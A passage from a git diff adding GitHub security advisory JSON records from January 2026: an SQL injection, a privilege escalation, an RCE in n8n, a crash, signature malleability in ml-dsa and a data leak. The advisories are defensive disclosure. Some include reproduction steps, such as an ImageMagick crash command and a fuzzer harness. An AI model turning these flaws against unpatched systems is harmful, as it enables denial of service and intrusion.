"schema_version": "1.4.0", + "id": "GHSA-5qw5-wf2q-f538", + "modified": "2026-01-21T16:35:36Z", + "published": "2026-01-16T19:20:40Z", + "aliases": [], + "summary": "ActiveRecord-JDBC-Adapter (AR-JDBC) lib/arjdbc/jdbc/adapter.rb sql.gsub() Function SQL Injection", + "details": "ActiveRecord-JDBC-Adapter (AR-JDBC) contains a flaw that may allow carrying out an SQL injection attack. The issue is due to the sql.gsub() function in lib/arjdbc/jdbc/adapter.rb not properly sanitizing user-supplied input before using it in SQL queries. This may allow a remote attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "activerecord-jdbc-adapter" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.2.8" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/jruby/activerecord-jdbc-adapter/issues/322" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jruby/activerecord-jdbc-adapter" + }, + { + "type": "WEB", + "url": "https://github.com/jruby/activerecord-jdbc-adapter/blob/master/lib/arjdbc/jdbc/adapter.rb" + }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activerecord-jdbc-adapter/GHSA-5qw5-wf2q-f538.yml" + }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activerecord-jdbc-adapter/OSVDB-114854.yml" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-89" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-16T19:20:40Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5r2g-vphf-m5xc/GHSA-5r2g-vphf-m5xc.json b/advisories/github-reviewed/2026/01/GHSA-5r2g-vphf-m5xc/GHSA-5r2g-vphf-m5xc.json new file mode 100644 index 0000000000000..d2b55acc39810 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5r2g-vphf-m5xc/GHSA-5r2g-vphf-m5xc.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5r2g-vphf-m5xc", + "modified": "2026-01-02T16:29:40Z", + "published": "2026-01-01T18:30:27Z", + "aliases": [ + "CVE-2025-47411" + ], + "summary": "Apache StreamPipes has Improper Privilege Management issue", + "details": "A user with a legitimate non-administrator account can exploit a vulnerability in the user ID creation mechanism in Apache StreamPipes that allows them to swap the username of an existing user with that of an administrator. \n\nThis vulnerability allows an attacker to gain administrative control over the application by manipulating JWT tokens, which can lead to data tampering, unauthorized access and other security issues.\n\nThis issue affects Apache StreamPipes: through 0.97.0.\n\nUsers are recommended to upgrade to version 0.98.0, which fixes the issue.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.streampipes:streampipes-parent" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.69.0" + }, + { + "fixed": "0.98.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47411" + }, + { + "type": "PACKAGE", + "url": "https://github.com/apache/streampipes" + }, + { + "type": "WEB", + "url": "https://github.com/apache/streampipes/releases/tag/release%2F0.98.0" + }, + { + "type": "WEB", + "url": "https://lists.apache.org/thread/lngko4ht2ok3o0rk9h0clgm4kb0lmt36" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2025/12/29/14" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-269" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-02T16:29:40Z", + "nvd_published_at": "2026-01-01T17:15:42Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5rfx-cp42-p624/GHSA-5rfx-cp42-p624.json b/advisories/github-reviewed/2026/01/GHSA-5rfx-cp42-p624/GHSA-5rfx-cp42-p624.json new file mode 100644 index 0000000000000..bc18793920ff8 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5rfx-cp42-p624/GHSA-5rfx-cp42-p624.json @@ -0,0 +1,99 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5rfx-cp42-p624", + "modified": "2026-01-07T20:37:40Z", + "published": "2026-01-07T18:09:56Z", + "aliases": [ + "CVE-2025-66560" + ], + "summary": "Quarkus REST has potential worker thread starvation when HTTP connection is closed while waiting to write", + "details": "A vulnerability exists in the HTTP layer of Quarkus REST related to response handling. When a response is being written, the framework waits for previously written response chunks to be fully transmitted before proceeding. If the client connection is dropped during this waiting period, the associated worker thread is never released and becomes permanently blocked. Under sustained or repeated occurrences, this can exhaust the available worker threads, leading to degraded performance, or complete unavailability of the application.\n\n## Workarounds\n\nFor versions without the fix applied, it is recommended to implement a health check that monitors the status and saturation of the worker thread pool. This helps detect abnormal thread retention early and allows operators to take corrective action before the application’s responsiveness is impacted.\n\n## Credits\n\nCVE reported by Shaswata Jash, Nokia", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "io.quarkus:quarkus-rest" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.20.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "io.quarkus:quarkus-rest" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.21.0" + }, + { + "fixed": "3.27.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "io.quarkus:quarkus-rest" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.30.0" + }, + { + "fixed": "3.31.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/quarkusio/quarkus/security/advisories/GHSA-5rfx-cp42-p624" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66560" + }, + { + "type": "PACKAGE", + "url": "https://github.com/quarkusio/quarkus" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-07T18:09:56Z", + "nvd_published_at": "2026-01-07T18:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5vx3-wx4q-6cj8/GHSA-5vx3-wx4q-6cj8.json b/advisories/github-reviewed/2026/01/GHSA-5vx3-wx4q-6cj8/GHSA-5vx3-wx4q-6cj8.json new file mode 100644 index 0000000000000..b3934633d4d20 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5vx3-wx4q-6cj8/GHSA-5vx3-wx4q-6cj8.json @@ -0,0 +1,403 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5vx3-wx4q-6cj8", + "modified": "2026-01-21T01:06:51Z", + "published": "2026-01-21T01:06:51Z", + "aliases": [ + "CVE-2026-23952" + ], + "summary": "ImageMagick has a NULL pointer dereference in MSL parser via tag before image load", + "details": "## Summary\n\nNULL pointer dereference in MSL (Magick Scripting Language) parser when processing `` tag before any image is loaded.\n\n## Version\n\n- ImageMagick 7.x (tested on current main branch)\n- Commit: HEAD\n\n## Steps to Reproduce\n\n### Method 1: Using ImageMagick directly\n\n```bash\nmagick MSL:poc.msl out.png\n```\n\n### Method 2: Using OSS-Fuzz reproduce\n\n```bash\npython3 infra/helper.py build_fuzzers imagemagick\npython3 infra/helper.py reproduce imagemagick msl_fuzzer poc.msl\n```\n\nOr run the fuzzer directly:\n```bash\n./msl_fuzzer poc.msl\n```\n\n## Expected Behavior\n\nImageMagick should handle the malformed MSL gracefully and return an error message.\n\n## Actual Behavior\n\n```\nconvert: MagickCore/property.c:297: MagickBooleanType DeleteImageProperty(Image *, const char *): Assertion `image != (Image *) NULL' failed.\nAborted\n```\n\n## Root Cause Analysis\n\nIn `coders/msl.c:7091`, `MSLEndElement()` calls `DeleteImageProperty()` on `msl_info->image[n]` when handling the `` end tag without checking if the image is NULL:\n\n```c\nif (LocaleCompare((const char *) tag,\"comment\") == 0 )\n {\n (void) DeleteImageProperty(msl_info->image[n],\"comment\"); // No NULL check\n ...\n }\n```\n\nWhen `` appears before any `` operation, `msl_info->image[n]` is NULL, causing the assertion failure in `DeleteImageProperty()` at `property.c:297`.\n\n## Impact\n\n- **DoS**: Crash via assertion failure (debug builds) or NULL pointer dereference (release builds)\n- **Affected**: Any application using ImageMagick to process user-supplied MSL files\n\n## Fuzzer\n\nThis issue was discovered using a custom MSL fuzzer:\n\n```cpp\n#include \n#include \n#include \n#include \"utils.cc\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)\n{\n if (IsInvalidSize(Size))\n return(0);\n try\n {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n image.magick(\"MSL\");\n image.fileName(\"MSL:\");\n image.read(blob);\n }\n catch (Magick::Exception)\n {\n }\n return(0);\n}\n```\n\nThis issue was found by Team FuzzingBrain @ Texas A&M University", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-OpenMP-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-OpenMP-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-OpenMP-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-OpenMP-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-OpenMP-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-x86" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-OpenMP-x64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-OpenMP-arm64" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q8-AnyCPU" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-AnyCPU" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "NuGet", + "name": "Magick.NET-Q16-HDRI-AnyCPU" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "14.10.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5vx3-wx4q-6cj8" + }, + { + "type": "PACKAGE", + "url": "https://github.com/ImageMagick/ImageMagick" + }, + { + "type": "WEB", + "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-476" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T01:06:51Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5w5r-mf82-595p/GHSA-5w5r-mf82-595p.json b/advisories/github-reviewed/2026/01/GHSA-5w5r-mf82-595p/GHSA-5w5r-mf82-595p.json new file mode 100644 index 0000000000000..091947ab44198 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5w5r-mf82-595p/GHSA-5w5r-mf82-595p.json @@ -0,0 +1,67 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5w5r-mf82-595p", + "modified": "2026-01-28T16:06:09Z", + "published": "2026-01-28T16:06:09Z", + "aliases": [], + "summary": "Cap'n Proto has Undefined Behavior in constant::Reader and StructSchema", + "details": "The safe API functions `constant::Reader::get` and `StructSchema::new` rely on `PointerReader::get_root_unchecked`, which can cause undefined behavior (UB) by constructing arbitrary words or schemas.\n\n## `Reader::get`\n\n```rust\npub fn get(&self) -> Result<::Reader<'static>> {\n // ...\n // UNSAFE: access `words` without validation\n}\n```\n\n## `StructSchema::new`\n\n```rust\npub fn new(builder: RawBrandedStructSchema) -> StructSchema {\n // ...\n // UNSAFE: access encoded nodes without validation\n}\n```\n\nThis vulnerability allows safe Rust code to trigger UB, which violates Rust's safety guarantees.\n\nThe issue is resolved in version `0.24.0` by making constructor functions unsafe and mark the fields of struct as visible only in the crate.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "capnp" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.24.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/capnproto/capnproto-rust/issues/605" + }, + { + "type": "WEB", + "url": "https://github.com/capnproto/capnproto-rust/commit/7b981f4c75a975c80444cd38729bcdf12bf3eabf" + }, + { + "type": "WEB", + "url": "https://github.com/capnproto/capnproto-rust/commit/e3aeec213e6d1b30a182bf61682a370f20d8a02c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/capnproto/capnproto-rust" + }, + { + "type": "WEB", + "url": "https://rustsec.org/advisories/RUSTSEC-2025-0143.html" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-758" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-28T16:06:09Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5x2r-hc65-25f9/GHSA-5x2r-hc65-25f9.json b/advisories/github-reviewed/2026/01/GHSA-5x2r-hc65-25f9/GHSA-5x2r-hc65-25f9.json new file mode 100644 index 0000000000000..a39044896b2e1 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5x2r-hc65-25f9/GHSA-5x2r-hc65-25f9.json @@ -0,0 +1,101 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5x2r-hc65-25f9", + "modified": "2026-01-28T16:44:47Z", + "published": "2026-01-28T16:44:47Z", + "aliases": [ + "CVE-2026-24850" + ], + "summary": "ML-DSA Signature Verification Accepts Signatures with Repeated Hint Indices", + "details": "**Affected Crate:** `ml-dsa` \n**Affected Versions:** v0.1.0-rc.2 (and commits since `b01c3b7`) \n**Severity:** Medium \n**Reporter:** Oren Yomtov (Fireblocks)\n\n## Summary\n\nThe ML-DSA signature verification implementation in the RustCrypto `ml-dsa` crate incorrectly accepts signatures with repeated (duplicate) hint indices. According to the ML-DSA specification (FIPS 204 / RFC 9881), hint indices within each polynomial must be **strictly increasing**. The current implementation uses a non-strict monotonic check (`<=` instead of `<`), allowing duplicate indices.\n\n**Note:** This is a regression bug. The original implementation was correct, but commit `b01c3b7` (\"Make ML-DSA signature decoding follow the spec (#895)\", fixing issue #894) inadvertently changed the strict `<` comparison to `<=`, introducing the vulnerability.\n\n## Vulnerability Details\n\n### Root Cause\n\nThe vulnerability is located in the `monotonic` helper function in `ml-dsa/src/hint.rs`:\n\n```rust\nfn monotonic(a: &[usize]) -> bool {\n a.iter().enumerate().all(|(i, x)| i == 0 || a[i - 1] <= *x)\n}\n```\n\nThe comparison operator `<=` allows equal consecutive values, meaning duplicate hint indices are not rejected. The correct implementation should use strict less-than (`<`):\n\n```rust\nfn monotonic(a: &[usize]) -> bool {\n a.iter().enumerate().all(|(i, x)| i == 0 || a[i - 1] < *x)\n}\n```\n\n### Regression Analysis\n\n- **Original correct code** (commit `1d3a1d1` - \"Add support for ML-DSA (#877)\"): Used `<` (strict)\n- **Bug introduced** (commit `b01c3b7` - \"Make ML-DSA signature decoding follow the spec (#895)\"): Changed to `<=`\n\nThe commit message suggests it was intended to fix issue #894 and make decoding follow the spec, but the change to the `monotonic` function was in the wrong direction. The other changes in that commit (to `use_hint` function) may have been correct, but this specific change introduced signature malleability.\n\n### Technical Impact\n\nThis vulnerability allows **signature malleability** - the same logical signature can have multiple valid byte-level encodings. An attacker can take a valid signature and create additional \"valid\" signatures by duplicating hint indices.\n\nPer the ML-DSA specification (FIPS 204, Section 6.2 and Algorithm 26 `HintBitUnpack`), hint indices must be strictly increasing to ensure a unique, canonical encoding. Accepting non-canonical signatures can lead to:\n\n1. **Signature Malleability:** Multiple distinct byte sequences verify as valid for the same message/key pair\n2. **Protocol-Level Vulnerabilities:** Systems that rely on signature uniqueness (e.g., for transaction deduplication, replay protection, or signature-based identifiers) may be vulnerable\n3. **Interoperability Issues:** Non-compliant signatures may be rejected by other conforming implementations\n\n### Affected Security Levels\n\nAll ML-DSA parameter sets are affected:\n- ML-DSA-44 (NIST Security Level 2)\n- ML-DSA-65 (NIST Security Level 3)\n- ML-DSA-87 (NIST Security Level 5)\n\n## Proof of Concept\n\nSee the file [`poc_mldsa_repeated_hint.rs`](https://gist.github.com/orenyomtov/fb4616eb77d33017f41a71b30aa41a04) for a standalone proof of concept that demonstrates the vulnerability.\n\nThe PoC uses test vectors from the Wycheproof test suite that specifically test for this invalid encoding:\n\n- **Test Vector Source:** [Wycheproof ML-DSA Test Vectors](https://github.com/C2SP/wycheproof/blob/master/testvectors_v1/mldsa_44_verify_test.json)\n- Test Case ID 18: \"signature with a repeated hint\"\n- Expected Result: `invalid`\n- Actual Result: `valid` (BUG)\n\n## Remediation\n\nUpdate the `monotonic` function in `ml-dsa/src/hint.rs` to use strict less-than comparison:\n\n```rust\nfn monotonic(a: &[usize]) -> bool {\n a.iter().enumerate().all(|(i, x)| i == 0 || a[i - 1] < *x)\n}\n```\n\n## Design Intent: ML-DSA is NOT Intended to Allow Malleability\n\nWhile some cryptographic libraries intentionally permit signature malleability for compatibility or performance reasons, **ML-DSA is explicitly designed to prevent it**:\n\n1. **FIPS 204 Specification:** ML-DSA is designed to be strongly unforgeable under chosen message attacks (SUF-CMA). This security property explicitly prevents signature malleability.\n\n2. **NIST PQC Forum Discussion:** In February 2024, there was a discussion on the NIST PQC forum about potential malleability in ML-DSA's hint unpacking. The consensus was that ML-DSA is intended to be SUF-CMA, meaning any malleability issues should be considered bugs and fixed.\n\n3. **No Documentation of Intentional Malleability:** There is no documentation in the RustCrypto `ml-dsa` crate, FIPS 204, or RFC 9881 suggesting that signature malleability is an acceptable or intentional property.\n\n4. **Regression Bug:** The fact that the original implementation had strict ordering (`<`) and this was changed to non-strict (`<=`) in a \"fix\" commit suggests this was an unintentional regression, not a design decision.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "ml-dsa" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.0.4" + }, + { + "fixed": "0.1.0-rc.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/RustCrypto/signatures/security/advisories/GHSA-5x2r-hc65-25f9" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24850" + }, + { + "type": "WEB", + "url": "https://github.com/RustCrypto/signatures/issues/894" + }, + { + "type": "WEB", + "url": "https://github.com/RustCrypto/signatures/pull/895" + }, + { + "type": "WEB", + "url": "https://github.com/RustCrypto/signatures/commit/400961412be2e2ab787942cf30e0a9b66b37a54a" + }, + { + "type": "WEB", + "url": "https://github.com/RustCrypto/signatures/commit/b01c3b73dd08d0094e089aa234f78b6089ec1f38" + }, + { + "type": "WEB", + "url": "https://csrc.nist.gov/pubs/fips/204/final" + }, + { + "type": "WEB", + "url": "https://datatracker.ietf.org/doc/html/rfc9881" + }, + { + "type": "WEB", + "url": "https://github.com/C2SP/wycheproof" + }, + { + "type": "WEB", + "url": "https://github.com/C2SP/wycheproof/blob/master/testvectors_v1/mldsa_44_verify_test.json" + }, + { + "type": "WEB", + "url": "https://github.com/C2SP/wycheproof/blob/master/testvectors_v1/mldsa_65_verify_test.json" + }, + { + "type": "WEB", + "url": "https://github.com/C2SP/wycheproof/blob/master/testvectors_v1/mldsa_87_verify_test.json" + }, + { + "type": "PACKAGE", + "url": "https://github.com/RustCrypto/signatures" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-28T16:44:47Z", + "nvd_published_at": "2026-01-28T01:16:15Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-5xrp-6693-jjx9/GHSA-5xrp-6693-jjx9.json b/advisories/github-reviewed/2026/01/GHSA-5xrp-6693-jjx9/GHSA-5xrp-6693-jjx9.json new file mode 100644 index 0000000000000..5f5513bb3e217 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-5xrp-6693-jjx9/GHSA-5xrp-6693-jjx9.json @@ -0,0 +1,111 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-5xrp-6693-jjx9", + "modified": "2026-01-29T15:02:29Z", + "published": "2026-01-27T15:30:32Z", + "aliases": [ + "CVE-2026-1470" + ], + "summary": "n8n Unsafe Workflow Expression Evaluation Allows Remote Code Execution", + "details": "n8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow Expression evaluation system. Expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime.\n\nAn authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "n8n" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.123.17" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "n8n" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "2.4.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "n8n" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.5.0" + }, + { + "fixed": "2.5.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1470" + }, + { + "type": "WEB", + "url": "https://github.com/n8n-io/n8n/commit/25c4b9605b420a98d0185a4f01115122a5134d8f" + }, + { + "type": "WEB", + "url": "https://github.com/n8n-io/n8n/commit/30383d86139f3279a698df8d229eadfefe8627f4" + }, + { + "type": "WEB", + "url": "https://github.com/n8n-io/n8n/commit/aa4d1e5825829182afa0ad5b81f602638f55fa04" + }, + { + "type": "PACKAGE", + "url": "https://github.com/n8n-io/n8n" + }, + { + "type": "WEB", + "url": "https://research.jfrog.com/vulnerabilities/n8n-expression-node-rce" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-95" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-29T15:02:29Z", + "nvd_published_at": "2026-01-27T15:15:57Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-637h-ch24-xp9m/GHSA-637h-ch24-xp9m.json b/advisories/github-reviewed/2026/01/GHSA-637h-ch24-xp9m/GHSA-637h-ch24-xp9m.json new file mode 100644 index 0000000000000..bc240c440100b --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-637h-ch24-xp9m/GHSA-637h-ch24-xp9m.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-637h-ch24-xp9m", + "modified": "2026-01-11T14:55:42Z", + "published": "2026-01-09T18:35:57Z", + "aliases": [ + "CVE-2025-65090" + ], + "summary": "XWiki Full Calendar Macro vulnerable to data leak through Calendar.JSONService", + "details": "### Impact\nAnyone who has view rights on the `Calendar.JSONService` page, including guest users can exploit this vulnerability by accessing database info, with the exception of passwords.\n\n### Workarounds\nRemove the `Calendar.JSONService` page. This will however break some functionalities.\n\n### References\n\nJira issue: \n* [FULLCAL-82: Calendar.JSONService exposes emails of all users](https://jira.xwiki.org/browse/FULLCAL-82)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.xwiki.contrib:macro-fullcalendar-pom" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.4.6" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.4.5" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/xwiki-contrib/macro-fullcalendar/security/advisories/GHSA-637h-ch24-xp9m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65090" + }, + { + "type": "WEB", + "url": "https://github.com/xwiki-contrib/macro-fullcalendar/commit/25bc14c181c9a92f493b20ac264388c7ba171884" + }, + { + "type": "PACKAGE", + "url": "https://github.com/xwiki-contrib/macro-fullcalendar" + }, + { + "type": "WEB", + "url": "https://jira.xwiki.org/browse/FULLCAL-82" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-200" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-09T18:35:57Z", + "nvd_published_at": "2026-01-10T04:16:01Z" + } +} \ No newline at end of file diff --git 